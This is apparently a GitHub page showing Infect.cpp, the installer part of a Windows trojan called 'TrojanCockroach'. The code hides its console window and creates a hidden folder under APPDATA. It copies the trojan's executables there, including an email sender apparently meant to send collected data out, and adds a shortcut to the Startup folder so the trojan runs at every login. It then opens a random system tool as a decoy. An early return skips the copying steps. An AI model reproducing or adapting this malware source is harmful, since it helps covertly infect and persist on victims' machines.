-
Notifications
You must be signed in to change notification settings - Fork 246
/
Infect.cpp
119 lines (93 loc) · 3.46 KB
/
Infect.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
/**
* Developer: Minhas Kamal (BSSE-0509, IIT, DU)
* Date: 28.Sep.15
**/
#define FOLDER_NAME "trojanCockroach" //containing folder
#define RUN_FILE_NAME "TrojanCockroach.exe" //main run file
#define RUN_LINK_NAME "TrojanCockroach.lnk" //starter link
#define INFECT_FILE_NAME "Infect.exe" //infects computer
#define INFECT_LINK_NAME "Infect.lnk" //link file
#define EMAIL_SENDER_FILE_NAME "Transmit.exe" //email sender
#include <windows.h>
#include <string>
#include <time.h>
main(){
FreeConsole(); //window is not visible
char* appdataFolder = getenv("APPDATA");
char folderPath[100] = {""};
strcat(folderPath, appdataFolder);
strcat(folderPath, "\\");
strcat(folderPath, FOLDER_NAME);
if(CreateDirectory(folderPath ,NULL)) //if directory creation does not fail
{
SetFileAttributes(folderPath, FILE_ATTRIBUTE_HIDDEN);
return; // :)
///////////////////////////
char run[100]={""};
strcat(run, folderPath);
strcat(run, "\\");
strcat(run, RUN_FILE_NAME);
char run_from[100]={""};
strcat(run_from, FOLDER_NAME);
strcat(run_from, "\\");
strcat(run_from, RUN_FILE_NAME);
CopyFile(run_from, run, 0);
///////////////////////////
char net[100]={""};
strcat(net, folderPath);
strcat(net, "\\");
strcat(net, EMAIL_SENDER_FILE_NAME);
char net_from[100]={""};
strcat(net_from, FOLDER_NAME);
strcat(net_from, "\\");
strcat(net_from, EMAIL_SENDER_FILE_NAME);
CopyFile(net_from, net, 0);
//////////////////////////
char infect[100]={""};
strcat(infect, folderPath);
strcat(infect, "\\");
strcat(infect, INFECT_FILE_NAME);
char infect_from[100]={""};
strcat(infect_from, FOLDER_NAME);
strcat(infect_from, "\\");
strcat(infect_from, INFECT_FILE_NAME);
CopyFile(infect_from, infect, 0);
//////////////////////////
char runlnk[100]={""};
strcat(runlnk, folderPath);
strcat(runlnk, "\\");
strcat(runlnk, RUN_LINK_NAME);
char runlnk_from[100]={""};
strcat(runlnk_from, FOLDER_NAME);
strcat(runlnk_from, "\\");
strcat(runlnk_from, RUN_LINK_NAME);
CopyFile(runlnk_from, runlnk, 0);
///////////////////////////
char infectlnk[100]={""};
strcat(infectlnk, folderPath);
strcat(infectlnk, "\\");
strcat(infectlnk, INFECT_LINK_NAME);
char infectlnk_from[100]={""};
strcat(infectlnk_from, FOLDER_NAME);
strcat(infectlnk_from, "\\");
strcat(infectlnk_from, INFECT_LINK_NAME);
CopyFile(infectlnk_from, infectlnk, 0);
/////////////////////////////////////////////////////////
char tasklnkauto[100] = {""};
strcat(tasklnkauto, appdataFolder);
strcat(tasklnkauto, "\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cockroach.lnk");
CopyFile(runlnk_from, tasklnkauto, 0);
//SetFileAttributes(tasklnkauto, FILE_ATTRIBUTE_HIDDEN);
}
srand(time(0));
int random = rand();
if(random%5 == 0){
system("start taskmgr /Performance");
}else if(random%3 == 0){
system("start diskmgmt");
}else if(random%2 == 0){
system("start perfmon /res");
}else{
system("start calc");
}
}